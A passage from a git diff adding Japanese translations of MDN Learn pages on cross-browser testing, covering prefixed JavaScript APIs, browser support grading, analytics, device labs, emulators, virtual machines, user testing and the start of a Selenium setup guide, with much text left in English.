fun (and noisy) drawing tool:</p> + +<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext; +var audioCtx = new AudioContext();</pre> + +<p>In the case of the Web Audio API, the key entry points to using the API were supported in Chrome/Opera via <code>webkit</code> prefixed versions (they now support the unprefixed versions). The easy way to get around this situation is to create a new version of the objects that are prefixed in some browsers, and make it equal to the non-prefixed version, OR the prefixed version (OR any other prefixed versions that need consideration) — whichever one is supported by the browser currently viewing the site will be used.</p> + +<p>Then we use that object to manipulate the API, rather than the original one. In this case we are creating a modified <a href="/ja/docs/Web/API/AudioContext">AudioContext</a> constructor, then creating a new audio context instance to use for our Web Audio coding.</p> + +<p>This pattern can be applied to just about any prefixed JavaScript feature. JavaScript libraries/polyfills also make use of this kind of code, to abstract browser differences away from the developer as much as possible.</p> + +<p>Again, prefixed features were never supposed to be used in production websites — they are subject to change or removal without warning, and cause cross browser issues. If you insist on using prefixed features, make sure you use the right ones. You can look up what browsers require prefixes for different JavaScript/API features on MDN reference pages, and sites like <a href="http://caniuse.com/">caniuse.com</a>. If you are unsure, you can also find out by doing some testing directly in browsers.</p> + +<p>For example, try going into your browser's developer console and start typing</p> + +<pre class="brush: js">window.AudioContext</pre> + +<p>If this feature is supported in your browser, it will autocomplete.</p> + +<h2 id="Finding_help" name="Finding_help">helpを見つける</h2> + +<p>There are many other issues you'll encounter with JavaScript; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Finding_help">Finding help section</a> for our best advice.</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>So that's JavaScript. Simple huh? Maybe not so simple, but this article should at least give you a start, and some ideas on how to tackle the JavaScript-related problems you will come across.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<p> </p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html new file mode 100644 index 0000000000..297d46d56f --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html @@ -0,0 +1,372 @@ +--- +title: テスト実行のための戦略 +slug: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies +tags: + - Article + - Automation + - Beginner + - CodingScripting + - Learn + - Testing + - concepts + - cross browser + - device lab + - user testing + - virtual machine +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">この記事では「(クロス)ブラウザーテストとは何？」「最もよくある問題は何？」「問題をテスト、特定、修正する主な手法は何？」といった質問に答えることで、(クロス)ブラウザーテストの概観を与えることから始めます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/HTML">HTML</a>, <a href="/ja/docs/Learn/CSS">CSS</a>, <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語に通じていること; 高レベルの<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">クロスブラウザーテストの原理</a>の理解。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>クロスブラウザーテストに含まれる高レベルのコンセプトの理解。</td> + </tr> + </tbody> +</table> + +<h2 id="Gotta_test_em_all" name="Gotta_test_'em_all">全部がテスト済み？</h2> + +<p>クロスブラウザーテストを実行するとき、ブラウザーのリストを作成する必要があります。ユーザーがあなたのサイトを見る可能性のあるすべてのブラウザーとデバイスの組み合わせをテストする方法はありません — 単に多スすぎるし、新しいものが常に出てきます。</p> + +<p>その代わりに、最も重要なターゲットブラウザー/デバイスを明確にし、それに対して最大限のサポートを広げていくよう守備的にコーディングします。</p> + +<p>守備的にコーディングするとは、ブラウザーで機能やスタイルが動作しない場合に、フォールバックを作るようにすることで、サイトが多少面白みが薄れても受容できるユーザー体験までダウングレードできる — 例えば見た目のすばらしさが失われても、核となる情報にアクセスできることです。</p> + +<p>このねらいは、テスト時に参照できるブラウザー/デバイスの図を作ることです。できるだけ簡単にすることも、できるだけ複雑にすることも、お好みに合わせてできます — 例えば、よくある手法はサポートレベルを次のように複数のグレードに分けることです:</p> + +<ol> + <li>A グレード: よくある/モダンなブラウザー — 能力のあると知られている。徹底的にテストしてフルサポートを提供する。</li> + <li>B グレード: 古い/機能が多くないブラウザー — 能力がないと知られている。基本的な体験をテスト/提供するが、主要な情報やサービスにはするアクセスできるようにする。</li> + <li>C グレード: まれな/未知のブラウザー — テストしないが、アクセスを想定する。フルサイトを提供し、少なくとも守備的なコーディングによるフォールバックは動作するようにする。</li> +</ol> + +<p>下記のセクションを通じて、このフォーマットでサポート図を作ります。</p> + +<div class="note"> +<p><strong>注</strong>: Yahoo は最初にこの手法を、<a href="https://github.com/yui/yui3/wiki/Graded-Browser-Support">Graded browser Support</a> アプローチとして広めました。</p> +</div> + +<h3 id="Educated_guesses" name="Educated_guesses">経験則</h3> + +<p>これを "仮定"や"感情"と呼ぶかもしれません。これは正確な科学的手法ではありませんが、もウェブ産業の経験のある人にとっては、テストすべきブラウザーについてよくわかるでしょう。サポート図のよい基本となりえます。</p> + +<p>例えば、西ヨーロッパや北アメリカに住んでいる場合、多くが Windows と Mac のデスクトップ/ノートPCを使っていて、主なブラウザーはChrome, Firefox, Safari, IE, Edge です。このブラウザーは定期的な更新があるため、おそらく最初の3つの最新版だけをテストしたいでしょう。Edge と IE では、いくつかの最新バージョンをテストしたくなるでしょう; これらはすべて A グレード区分にすべきでしょう.</p> + +<div class="note"> +<p><strong>注</strong>: You can only have one version of IE or Edge installed on a machine at once, so you will probably have to use virtual machine, or other strategy to do the testing you need. See {{anch("Virtual machines")}} later on.</p> +</div> + +<p>多くの人が iOS と Android を使っているので、iOS Safari の最新版、古い Android 内蔵ブラウザーの最新版いくつか、iOS と Android 用の Chrome と Firefox もテストしたくなるでしょう。これらをスマフォとタブレットの両方でテストし、レスポンシブデザインの動作が問題ないのを確認するのが理想でしょう。</p> + +<p>それなりの数の人がまだ IE 9 を使っていることも知っているかもしれません。これは古くて能力もないので、B グレード区分に区分しましょう。</p> + +<p>ここまでで以下のサポート図ができました:</p> + +<ol> + <li>A グレード: Windows/Mac 用の Chrome と Firefox、Mac 用の Safari、Windows 用の Edge と IE (それぞれ最新の2バージョン)、iPhone/iPad 用の iOS Safari、スマフォ/タブレット用の Android 内蔵ブラウザー (最新2バージョン)、スマフォ/タブレット用の Chrome と Firefox(最新2バージョン)。</li> + <li>B グレード: Windows 用 IE 9</li> + <li>C グレード: n/a</li> +</ol> + +<p>どこか別の場所に住んでいる場合や、どこか別の場所向けの (例 ある国やロケール)サイトを制作している場合、テストする主なブラウザーはたぶん別のものでしょう。</p> + +<div class="note"> +<p><strong>注</strong>: "The CEO of my company uses a Blackberry, so we'd better make sure it looks good on that" can also be a persuasive argument.</p> +</div> + +<h3 id="Browser_support_stats" name="Browser_support_stats">ブラウザーサポートステータス</h3> + +<p>ブラウザーテスト選択で求められる、便利な対策は、ブラウザーサポートステータスです。こんなステータスを提供するサイトはたくさんあります。例えば、:</p> + +<ul> + <li><a href="https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0">Netmarketshare</a></li> + <li><a href="http://gs.statcounter.com/">Statcounter</a></li> +</ul> + +<p>これらはいずれも北米中心で、正確でないですが、幅広いトレンドの理解を得られます。</p> + +<p>例えば、<a href="https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0">Netmarketshare</a>を見てみましょう。Opera が少しだが、使用される数が見えるので、Cグレードとしてサポート図に追加するべきでしょう。</p> + +<p>IE8 もある程度ありますが、古くてもはや利用できませんOpera Mini もいくらかありますが、複雑な JavaScript 実行など (詳しくは <a href="https://dev.opera.com/articles/opera-mini-and-javascript/">Opera Mini and JavaScript</a> を見てください)が利用できません。これはグレード B に追加すべきでしょう。</p> + +<h3 id="Using_analytics" name="Using_analytics">アクセス解析を使う</h3> + +<p>A much more accurate source of data, if you can get it, comes from an analytics app like <a href="https://www.google.com/analytics/">Google Analytics</a>. This is an application that will give you accurate stats on exactly what browsers people are using to browse your site. Of course, this relies on you already having a site to use it on, so it isn't much good for completely new sites.</p> + +<p>But an analytics history can be useful for finding support stats to influence say a new version of a company's site, or new features you are adding to an existing site. If you have these available, they are far more accurate than global browser stats like those mentioned above.</p> + +<p>You may also consider using open source and privacy focussed analytics platforms like <a href="http://www.openwebanalytics.com">Open Web Analytics</a> and <a href="https://matomo.org">Matomo</a>. They expect you to self-host the analytics platform. </p> + +<h4 id="Setting_up_Google_analytics" name="Setting_up_Google_analytics">Setting up Google analytics</h4> + +<ol> + <li>First of all, you'll need a Google account. Use this account to sign into <a href="https://www.google.com/analytics/">Google Analytics</a>.</li> + <li>Choose the <a href="https://analytics.google.com/analytics/web/">Google Analytics</a> (web) option, and click the <em>Sign Up</em> button.</li> + <li>Enter your web site/app details into the signup page. This is fairly intuitive to set up; the most important field to get right is the Website URL. This needs to be your site/app's root URL.</li> + <li>Once you've finished filling in everything, press the <em>Get Tracking ID</em> button, then accept the terms of service that appear.</li> + <li>The next page provides you with some code snippets and other instructions. For a basic website, what you need to do is copy the <em>Website tracking</em> code block and paste it into all the different pages you want to track using Google Analytics on your site. You could below your closing <code></body></code> tag, or somewhere else appropriate that keeps it from getting muddled up with your application code.</li> + <li>Upload the changes to the development server, or wherever else you need your code.</li> +</ol> + +<p>That's it! Your site should now be ready to start reporting analytics data.</p> + +<h4 id="Studying_analytics_data" name="Studying_analytics_data">Studying analytics data</h4> + +<p>Now you should be able to go back to the <a href="https://analytics.google.com/analytics/web">Analytics Web</a> homepage, and start looking at the data you've collected about your site (you need to leave a little bit of time for some data to actually be collected, of course.)</p> + +<p>既定では, you should see the reporting tab, like so:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14081/analytics-reporting.png" style="border-style: solid; border-width: 1px; display: block; height: 386px; margin: 0px auto; width: 700px;"></p> + +<p>There is a huge amount of data you could look at using Google Analytics — customized reports in different categories, etc. — and we haven't got time to discuss it all. <a href="https://support.google.com/analytics/answer/1008015">Getting started with Analytics</a> provides some useful guidance on reporting (and more) for beginners.</p> + +<p>You should also be encouraged to look at the different options on the left hand side, and see what kinds of data you can find out. 例えば、you can find out what browsers and operating systems your users are using by selecting <em>Audience > Technology > Browser & OS</em> from the left hand menu.</p> + +<div class="note"> +<p><strong>注</strong>: When using Google analytics, you need to beware of misleading bias, e.g. "We have no Firefox Mobile users" might lead you to not bother supporting Firefox mobile. But you are not going to have any Firefox Mobile users if the site was broken on Firefox mobile in the first place.</p> +</div> + +<h3 id="Other_considerations" name="Other_considerations">その他の考慮</h3> + +<p>There are other considerations that you should probably include as well. You should definitely include accessibility as a grade A testing requirement (we'll cover exactly what you should test in our Handling common accessibility problems article)</p> + +<p>Plus you might have other considerations. If you are creating some kind of company intranet for delivering sales figures to managers, and all the managers have been provided with Windows phones 例えば、you might want to make mobile IE support a priority.</p> + +<h3 id="Final_support_chart" name="Final_support_chart">最終的なサポート図</h3> + +<p>So, our final support chart will end up looking like so:</p> + +<ol> + <li>A grade: Chrome and Firefox for Windows/Mac, Safari for Mac, Edge and IE for Windows (last two versions of each), iOS Safari for iPhone/iPad, Android stock browser (last two versions) on phone/tablet, Chrome and Firefox for Android (last two versions) on phone tablet. Accessibility passing common tests.</li> + <li>B grade: IE 8 and 9 for Windows, Opera Mini.</li> + <li>C grade: Opera, other niche modern browsers.</li> +</ol> + +<h2 id="What_are_you_going_to_test" name="What_are_you_going_to_test">これから何をテストしていくのか？</h2> + +<p>When you've got a new addition to your codebase that needs testing, before you start testing you should write out a list of testing requirements that need to pass to be accepted. These requirements can be visual or functional — both combine to make a usable web site feature.</p> + +<p>Consider the following example (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html">source code</a>, and also the <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html">example running live</a>):</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14083/sliding-box-demo.png" style="border-style: solid; border-width: 1px; display: block; height: 455px; margin: 0px auto; width: 700px;"></p> + +<p>Test criteria for this feature could written like so:</p> + +<p>A and B grade:</p> + +<ul> + <li>Button should be activatable by the user's primary control mechanism, whatever it is — this should include mouse, keyboard, and touch.</li> + <li>Toggling the button should make the information box appear/disappear.</li> + <li>The text should be readable.</li> + <li>Visually impaired users using screenreaders should be able to access the text.</li> +</ul> + +<p>A grade:</p> + +<ul> + <li>The information box should animate smoothly as it appears/disappears.</li> + <li>The gradient and text shadow should appear to enhance the look of the box.</li> +</ul> + +<p>You may notice from the text in the example that it won't work in IE8 — this is a problem according to our support chart, which you'll have to work on, perhaps by using a feature detection library to implement the functionality in a different way if the browser doesn't support CSS transitions (see Implementing feature detection, later on in the course).</p> + +<p>You might also notice that the button isn't usable using only the keyboard — this also needs to be remedied. Maybe we could use some JavaScript to implement a keyboard control for the toggle, or use some other method entirely?</p> + +<p>These test criteria are useful, because:</p> + +<ul> + <li>They give you a set of steps to follow when you are performing tests.</li> + <li>They can be easily turned into sets of instructions for user groups to follow when carrying out tests (e.g. "try to active the button using your mouse, and then the keyboard...") — see {{anch("User testing")}}, below.</li> + <li>They can also provide a basis for writing automated tests. It is easier to write such tests if you know exactly what you want to test, and what the success conditions are (see Using an automation tool to automate browser testing, later in the series).</li> +</ul> + +<h2 id="Putting_together_a_testing_lab" name="Putting_together_a_testing_lab">Putting together a testing lab</h2> + +<p>One option for carrying out browser tests is to do the testing yourself. To do this, you will probably use a combination of actual physical devices, and emulated environments (using either an emulator or a virtual machine).</p> + +<h3 id="Physical_devices" name="Physical_devices">物理デバイス</h3> + +<p>It is generally better to have a real device running the browser you want to test — this provides the greatest accuracy in terms of behaviour and overall user experience. You'll probably want something like the following, for a reasonable low level device lab:</p> + +<ul> + <li>A Mac, with the browsers installed that you need to test — this can include Firefox, Chrome, Opera, and Safari.</li> + <li>A Windows PC, with the browsers installed that you need to test — this can include Edge (or IE), Chrome, Firefox, and Opera.</li> + <li>A higher spec Android phone and tablet with browser installed that you need to test — this can include Chrome, Firefox, and Opera Mini for Android, as well as the original Android stock browser.</li> + <li>A higher spec iOS phone and tablet with the browsers installed that you need to test — this can include iOS Safari, and Chrome, Firefox, and Opera Mini for iOS.</li> +</ul> + +<p>The following are also good options, if you can get them:</p> + +<ul> + <li>A Linux PC available, in case you need to test bugs specific to Linux versions of browsers. Linux users comonly use Firefox, Opera, and Chrome. If you only have one machine available, you could consider creating a dual boot machine running Linux and Windows on separate partitions. Ubuntu's installer makes this quite easy to set up; see <a href="https://help.ubuntu.com/community/WindowsDualBoot">WindowsDualBoot</a> for help with this.</li> + <li>A couple of lower spec mobile devices, so you can test performance of features like animations on lower powered processors.</li> +</ul> + +<p>Your main work machine can also be a place to install other tools for specific purposes, such as accessibility auditing tools, screen readers, and emulators/virtual machines.</p> + +<p>Some larger companies have device labs that stock a very large selection of different devices, enabling developers to hunt down bugs on very specific browser/device combinations. Smaller companies and individuals are generally not able to afford such a sophisticated lab, so tend to make do with smaller labs, emulators, virtual machines, and commercial testing apps.</p> + +<p>We will cover each of the other options below.</p> + +<div class="note"> +<p><strong>注</strong>: Some efforts have been made to create publically accessible device labs — see <a href="https://opendevicelab.com/">Open Device Labs</a>.</p> +</div> + +<div class="note"> +<p><strong>注</strong>: We also need to consider accessibility — there are a number of useful tools you can install on your machine to facilitate accessibility testing, but we'll cover those in the Handling common accessibility problems article, later in the course.</p> +</div> + +<h3 id="Emulators" name="Emulators">エミュレーター</h3> + +<p>Emulators are basically programs that run inside your computer and emulate a device or particular device conditions of some kind, allowing you to do some of your testing more conveniently than having to find a particular combination of hardware/software to test.</p> + +<p>An emulator might be as simple as testing a device condition. 例えば、if you want to do some quick and dirty testing of your width/height media queries for responsive design, you could use Firefox's <a href="/ja/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>. Safari has a similar mode too, which can be enabled by going to <em>Safari > Preferences</em>, and checking <em>Show Develop menu</em>, then choosing <em>Develop > Enter Responsive Design Mode</em>. Chrome also has something similar: Device mode (see <a href="https://developers.google.com/web/tools/chrome-devtools/device-mode/">Simulate Mobile Devices with Device Mode</a>). </p> + +<p>More often than not though, you'll have to install some kind of emulator. The most common devices/browsers you'll want to test are as follows:</p> + +<ul> + <li>The official <a href="https://developer.android.com/studio/">Android Studio IDE</a> for developing Android apps is a bit heavy weight for just testing websites on Google Chrome or the old Stock Android browser, but it does come with a Robust <a href="https://developer.android.com/studio/run/emulator.html">emulator</a>. If you want something a bit more lightweight, <a href="http://leapdroid.com/">LeapDroid</a> is a good option for Windows, and <a href="http://www.andyroid.net/">Andy</a> is a reasonable option that runs on both Windows and Mac.</li> + <li>Apple provides an app called <a href="https://developer.apple.com/library/content/documentation/IDEs/Conceptual/iOS_Simulator_Guide/Introduction/Introduction.html">Simulator</a> that runs on top of the <a href="https://developer.apple.com/xcode/">XCode</a> development environment, and emulates iPad/iPhone/Apple Watch/Apple TV. This includes the native iOS Safari browser. This unfortunately only runs on a Mac.</li> +</ul> + +<p>You can often find simulators for other mobile device environments too, 例えば、:</p> + +<ul> + <li><a href="https://developer.blackberry.com/develop/simulator/">Blackberry</a> (emulator available for Windows, Mac OSX and Linux).</li> + <li>You can emulate <a href="https://dev.opera.com/articles/installing-opera-mini-on-your-computer/">Opera Mini</a> on its own if you want to test it.</li> + <li>There are emulators available for Windows Mobile OSes: see <a href="https://msdn.microsoft.com/en-us/library/windows/apps/ff402563(v=vs.105).aspx">Windows Phone Emulator for Windows Phone 8</a> and <a href="https://msdn.microsoft.com/en-us/windows/uwp/debug-test-perf/test-with-the-emulator">Test with the Microsoft Emulator for Windows 10 Mobile</a> (these only run on Windows).</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: Many emulators actually require the use of a virtual machine (see below); when this is the case, instructions are often provided, and/or use of the virtual machine is incorporated into the installer of the emulator.</p> +</div> + +<h3 id="Virtual_machines" name="Virtual_machines">仮想マシン</h3> + +<p>Virtual machines are applications that run on your desktop computer and allow you to run emulations of entire operating systems, each compartmentalized in its own virtual hard drive (often represented by a single large file existing on the host machine's hard drive). There are a number of popular virtual machine apps available, such as <a href="www.parallels.com/">Parallels</a>, <a href="http://www.vmware.com/">VMWare</a>, and <a href="https://www.virtualbox.org/wiki/Downloads">Virtual Box</a>; we personally like the latter, because it is free.</p> + +<div class="note"> +<p><strong>注</strong>: You need a lot of hard disk space available to run virtual machine emulations; each operating system you emulate can take up a lot of memory. You tend to choose the hard drive space you want for each install; you could get away with probably 10GB, but some sources recommend up to 50GB or more, so the operating system will run reliably. A good option provided by most virtual machine apps is to create a <strong>dynamically allocated</strong> hard drive that grows and shrinks as the need arises.</p> +</div> + +<p>To use a Virtual Box, you need to:</p> + +<ol> + <li>Get hold of an installer disk or image (e.g. ISO file) for the operating system you want to emulate. Virtual Box is unable to provide these; most, like Windows OSes, are commercial products that can't be freely distributed.</li> + <li><a href="https://www.virtualbox.org/wiki/Downloads">Download the appropriate installer</a> for your operating system and install it.</li> + <li>Open the app; you'll be presented with a view like the following: <img alt="" src="https://mdn.mozillademos.org/files/14089/virtualbox.png" style="display: block; height: 512px; margin: 0px auto; width: 700px;"></li> + <li>To create a new virtual machine, press the <em>New</em> button in the top left hand corner.</li> + <li>Follow the instructions and fill in the following dialog boxes as appropriate. You'll: + <ol> + <li>Provide a name for the new virtual machine</li> + <li>Choose with operating system and version you are installing on it</li> + <li>Set how much RAM should be allocated (we'd recommend something like 2048MB, or 2GB)</li> + <li>Create a virtual hard disk (choose the default options across the three dialog boxes containing <em>Create a virtual hard disk now</em>, <em>VDI (virtual disk image)</em>, and <em>Dynamically allocated</em>).</li> + <li>Choose the file location and size for the virtual hard disk (choose a sensible name and location to keep it, and for the size specify around 50GB, or as much as you are comfortable with specifying).</li> + </ol> + </li> +</ol> + +<p>Now the new virtual box should appear in the left hand menu of the main Virtual Box UI window. At this point, you can double-click to open it — it will start to boot up the virtual machine, but it won't yet have the operating system (OS) installed. At this point you need to point the dialog box at the installer image/disk, and it will run through the steps to install the OS just like on a physical machine.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14085/virtualbox-installer.png" style="display: block; margin: 0 auto;"></p> + +<div class="warning"> +<p><strong>Important</strong>: You need to make sure you have the operating system image you want to install on the virtual machine available at this point, and install it right away. If you cancel the process at this point, it can render the virtual machine unusable, and make it so you need to delete it and create it again. This is not fatal, but it is annoying.</p> +</div> + +<p>After the process has completed, you should have a virtual machine running an operating system inside a window on your host computer.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14087/virtualbox-running.png" style="display: block; margin: 0 auto;"></p> + +<p>You need to treat this virtual operating system installation just like you would any real installation — 例えば、as well as installing the browsers you want to test, install an anti-virus program to protect it from viruses.</p> + +<p>Having multiple virtual machines is very useful, particularly for Windows IE/Edge testing — on Windows, you are not able to have multiple versions of the default browser installed side by side, so you might want to build up a library of virtual machines to handle different tests as required, e.g.:</p> + +<ul> + <li>Windows 10 with Edge 14</li> + <li>Windows 10 with Edge 13</li> + <li>Windows 8.1 with IE11</li> + <li>Windows 8 with IE10</li> + <li>Windows 7 with IE9</li> + <li>Windows XP with IE8</li> + <li>Windows XP with IE7</li> + <li>Windows XP with IE6</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: Another good thing about virtual machines is that the virtual disk images are fairly self-contained. If you are working on a team, you can create one virtual disk image, then copy it and pass it around. Just make sure you have the required licenses to run all those copies of Windows or whatever else you are running, if it is a licensed product.</p> +</div> + +<h3 id="Automation_and_commercial_apps" name="Automation_and_commercial_apps">自動化と商用アプリ</h3> + +<p>As mentioned in the last chapter, you can take a lot of the pain out of browser testing by using some kind of automation system. You can set up your own testing automation system (<a href="http://www.seleniumhq.org/">Selenium</a> being the popular app of choice), which does take some setup, but can be very rewarding when you get it worked out.</p> + +<p>There are also commercial tools available such as <a href="https://saucelabs.com/">Sauce Labs</a> and <a href="https://www.browserstack.com/">Browser Stack</a> that do this kind of thing for you, without you having to worry about the setup, if you wish to invest some money in your testing.</p> + +<p>We will look at how to use such tools later on in the module.</p> + +<h2 id="User_testing" name="User_testing">ユーザーテスト</h2> + +<p>Before we move on, we'll finish this article off by talking a bit about user testing — this can be a good option if you have a willing user group to test your new functionality on. Bear in mind that this can be as lo-fi or as sophisticated as you like — your user group could be a group of friends, a group of colleagues, or a group of unpaid or paid volunteers, depending on whether you have any money to spend on testing.</p> + +<p>Generally you'll get your users to look at the page or view containing the new functionality on some kind of a development server, so you are not putting the final site or change live until it is finished. You should get them to follow some steps and report the results they get. It is useful to provide a set of steps (sometimes called a script) so that you get more reliable results pertaining to what you were trying to test. We mentioned this in the {{anch("What are you going to test")}} section above — it is easy to turn the test criteria detailed there into steps to follow. 例えば、the following would work for a sighted user:</p> + +<ul> + <li>Click the question mark button using the mouse on your desktop computer a few times. Refresh the browser window.</li> + <li>Select and activate the question mark button using the keyboard on your desktop computer a few times.</li> + <li>Tap the question mark button a few times on your touch screen device.</li> + <li>Toggling the button should make the information box appear/disappear. Does it do this, in each of the above three cases?</li> + <li>Is the text readable?</li> + <li>Does the information box animate smoothly as it appears/disappears?</li> +</ul> + +<p>When running tests, it can also be a good idea to:</p> + +<ul> + <li>Set up a separate browser profile where possible, with browser extensions and other such things disabled, and run your tests in that profile (see <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">Use the Profile Manager to create and remove Firefox profiles</a> and <a href="https://support.google.com/chrome/answer/2364824">Share Chrome with others or add personas</a>, 例えば、).</li> + <li>Use browser's private mode functionality when running tests, where available (e.g. <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">Private Browsing</a> in Firefox, <a href="https://support.google.com/chrome/answer/95464">Incognito Mode</a> in Chrome) so things like cookies and temp files are not saved.</li> +</ul> + +<p>These steps are designed to make sure that the browser you are testing in is as "pure" as possible, i.e. there is nothing installed that could affect the results of the tests.</p> + +<div class="note"> +<p><strong>注</strong>: Another useful lo-fi option, if you have the hardware available, is to test your sites on low-end phones/other devices — as sites get larger and feature more effects, there is a higher chance of the site slowing down, so you need to start giving performance more consideration. Trying to get your functionality working on a low end device will make it more likely that the experience will be good on higher-end devices.</p> +</div> + +<div class="note"> +<p><strong>注</strong>: Some server-side development environments provide useful mechanisms for rolling out site changes to only a subset of users, providing a useful mechanism for getting a feature tested by a subset of users without the need for a separate development server. An example is <a href="https://github.com/jsocol/django-waffle">Django Waffle Flags</a>.</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事を読んで、ターゲット顧客/ブラウザーの表を特定して、その表に載っているクロスブラウザーテストを効率的に実行することが良くわかったでしょう。</p> + +<p>次には HTML と CSSから始めて、テストで見つけにくいコードの問題に注目していきましょう。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + + + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html new file mode 100644 index 0000000000..ffdd4984a0 --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html @@ -0,0 +1,688 @@ +--- +title: テスト自動化環境をセットアップする +slug: Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment +tags: + - Article + - Automation + - Beginner + - Browser + - CodingScripting + - Learn + - Testing + - Tools + - cross browser + - selenium +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">この記事では、Selenium/WebDriver や selenium-webdriver for Node のようなテストライブラリーを使って、自動化環境のインストールとテストを実行する方法を教えます。またあなたのローカルテスト環境と、以前の記事で見てきたような商用アプリとを統合する方法についても見て行きます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/HTML">HTML</a>, <a href="/ja/docs/Learn/CSS">CSS</a>, <a href="/ja/docs/Learn/JavaScript">JavaScript</a> のコア機能、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">principles of cross browser testing</a>や<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">automated testing</a>などの高レベルのアイデアに精通していること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>Seleniumによるローカルテスト環境のセットアップ方法やSeleniumを使用したテストの実行方法、Sauce LabsやBrowserStackなどのツールとの統合する方法の案内。</td> + </tr> + </tbody> +</table> + +<h2 id="Selenium" name="Selenium">Selenium</h2> + +<p><a href="http://www.seleniumhq.org/">Selenium</a> は最も人気のあるブラウザ自動化ツールです。他の方法もありますが、Selenium を使用する最良の方法は WebDriver を使用することで、強力な API で Selenium 